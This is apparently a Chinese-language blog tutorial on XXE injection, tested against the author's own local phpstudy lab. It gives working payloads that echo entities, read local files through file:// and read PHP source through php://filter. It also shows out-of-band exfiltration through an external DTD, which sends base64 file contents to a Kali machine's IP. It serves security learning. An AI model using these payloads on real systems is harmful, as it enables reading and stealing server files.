--查看回显:提交一个正常的xml数据
<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY xxe "你好,张万森"> ]>
<name>&xxe;</name>
payload中 &xxe; 是用来将xxe这个实体进行调用,xxe实体成功在前端回显。
--查看文件:读取服务器/本地文件(事先创建一个文本文件)
1、复制新建文件的文件地址
2、提交的payload如下利用file://协议就能看到服务器/主机上的该文件的文件内容
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D://phpstudy_pro//WWW//xxe.txt"> ]>
<x>&xxe;</x>
查到了我在我新建的xxe.txt文件下输入的内容“我是一个网安小白白”![](https://i-blog.csdnimg.cn/direct/efb2c1a268dd46dfad2fa783e4d205f0.png)
--查看源码:利用php://协议的filter过滤器以base64格式读取服务器/本地文件,代码如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/xxe.php">
]>
<ANY>&xxe;</ANY>
查到的是编码后3的内容,解码之后就可
--DTD外部调用:
第一步:模拟文件准备
1、在D盘根目录新建一个flag.txt
在flag.txt文件中随便输入内容,我输入的是“你好,张万森6666666666”
2、在www目录下新建一个my.dtd文件输入代码
文件在路径为"D:\phpstudy_pro\WWW\my.dtd"
代码中指定的IP地址为kali虚拟机的8886端口
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.189.141:8886/?%file;'>">
%start;
3、xml.txt文件的内容
其中指定的IP地址为自己本机的ip
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://172.16.2.47/my.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/flag.txt"> %remote;
%send;]>